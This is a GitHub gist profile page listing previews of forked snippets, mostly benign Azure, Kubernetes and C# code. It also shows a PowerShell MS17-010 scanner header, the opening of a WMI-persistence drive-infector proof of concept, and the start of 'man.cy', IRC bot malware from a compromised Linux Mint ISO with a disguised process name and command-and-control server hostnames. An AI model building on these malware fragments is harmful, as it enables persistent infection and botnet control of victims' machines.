Skip to content

Instantly share code, notes, and snippets.

View nobitagamer's full-sized avatar

Nguyen Khac Trieu nobitagamer

View GitHub Profile
@nobitagamer
nobitagamer / README.md
Created September 3, 2020 09:47 — forked from AlinaNova21/README.md
Rancher 2.0, RKE, and some Raspberry Pi 3s

Kubernetes and Arm

Getting rke and Rancher setup to run kubernetes on arm is interesting. There is no official support yet via rancher, although there is interest and some work done towards those efforts. This is my attempt at getting a cluster of 3 Pis (2 3Bs and 1 3B+) provisioned and registered to a rancher 2 server.

Prep

I've successfully completed this both with Hypriot OS 1.9.0 and the arm64 builds https://github.com/DieterReuter/image-builder-rpi64 Both times I used the same basic cloud-init setup

@nobitagamer
nobitagamer / deploy.cmd
Created January 5, 2018 04:45 — forked from benmccallum/deploy.cmd
Purge an Azure CDN cache with cURL, jq and deploy.cmd batch file
:: Below is an example of extending a deploy.cmd file (see kudu custom deployment scripts) to clear an Azure CDN endpoint
:: using the Azure Resource Manager (ARM) API with help of cURL.exe and jq.exe utils.
:: 4. Purge CDN cache of all caches files
:: Requires an application to be setup in the Azure Active Directory on the same tenant,
:: with a client id and key/secret, and permissions to the Azure CDN Endpoint (CDN Endpoint Contributor)
::SET CLIENT_ID="from-app-settings"
::SET CLIENT_SECRET="from-app-settings"
IF NOT DEFINED CLIENT_ID (
echo 4. Skipping Azure CDN cache purge. App Setting "CLIENT_ID" was not found. Potentially this is a local test deployment run.
@nobitagamer
nobitagamer / proxies.json
Created August 29, 2017 01:13 — forked from sjkp/proxies.json
Azure Function proxy support
{
"proxies": {
"ListAll": {
"desc": [
"This is the index of examples."
],
"matchCondition": {
"methods": [
"GET"
],
<#
.Synopsis
Scans a host or network for the MS17-010 vulnerability and output results as a
table that you can pipe to other PowerShell functions such as Invoke-Command or
Export-CSV.
.DESCRIPTION
This script will use a custom NMap NSE script to scan a destination host on
port 445 for the MS17-010 vulnerability. If the host is not online or is blocking
@nobitagamer
nobitagamer / Client.cs
Created February 17, 2017 17:27 — forked from leandrosilva/Client.cs
Asynchronous Client/Server Socket Example with C# (from MSDN library)
// Asynchronous Client Socket Example
// http://msdn.microsoft.com/en-us/library/bew39x2a.aspx
using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Text;
// State object for receiving data from remote device.
@nobitagamer
nobitagamer / README.md
Created February 10, 2017 10:20 — forked from jbevain/README.md
pdb2mdb for Visual Studio 2015

The Visual Studio Tools for Unity are able to convert .NET debug symbol files (namely pdb files) to debug symbols files that are understood by Unity's scripting engine (namely .dll.mdb files) when importing both the .dll and the .pdb in the Assets folder.

If you prefer to handle the conversion yourself you need to call a tool named pdb2mdb on the .dll associated with the .pdb:

pdb2mdb MyLibrary.dll

Will produce a MyLibrary.dll.mdb usable on Unity if MyLibrary.pdb is present.

@nobitagamer
nobitagamer / MurMurHash3.cs
Created August 27, 2016 13:14 — forked from automatonic/MurMurHash3.cs
MurMurHash3 .Net (C#) implementation
/*
This code is public domain.
The MurmurHash3 algorithm was created by Austin Appleby and put into the public domain. See http://code.google.com/p/smhasher/
This C# variant was authored by
Elliott B. Edwards and was placed into the public domain as a gist
Status...Working on verification (Test Suite)
Set up to run as a LinqPad (linqpad.net) script (thus the ".Dump()" call)
*/
@nobitagamer
nobitagamer / Program.cs
Created July 20, 2016 04:45 — forked from abdullin/Program.cs
Wiring Lokad-CodeDSL in a MightyMoose style.
// This is a hacky sample (that works for me) of alternative way to use Lokad-codeDSL
// or any similar way of generating message contracts on-the-fly. Original approach was
// with using T4 template, that would rebuild cs files from DSL representation, whenever
// we hit Ctrl-S.
// This approach works almost exactly like this (Ctrl-S to rebuild), but does not require VS
// to run or does not require unloading VS to change the underlying generator code.
// in fact it is extremely boring. Lolcats from MightyMoose could be used to improve the situation, though.
// any takers? :)
@nobitagamer
nobitagamer / sample_drive_infector.ps1
Created April 4, 2016 09:08 — forked from mattifestation/sample_drive_infector.ps1
A PoC drive infector using permanent WMI event subscriptions. I wrote this to demonstrate passing __EventFilter arguments to a CommandLineEventConsumer
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = 'DriveChanged'
Query = 'SELECT * FROM Win32_VolumeChangeEvent'
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
$CommandLineConsumerArgs = @{
@nobitagamer
nobitagamer / man.cy
Created February 21, 2016 11:59 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",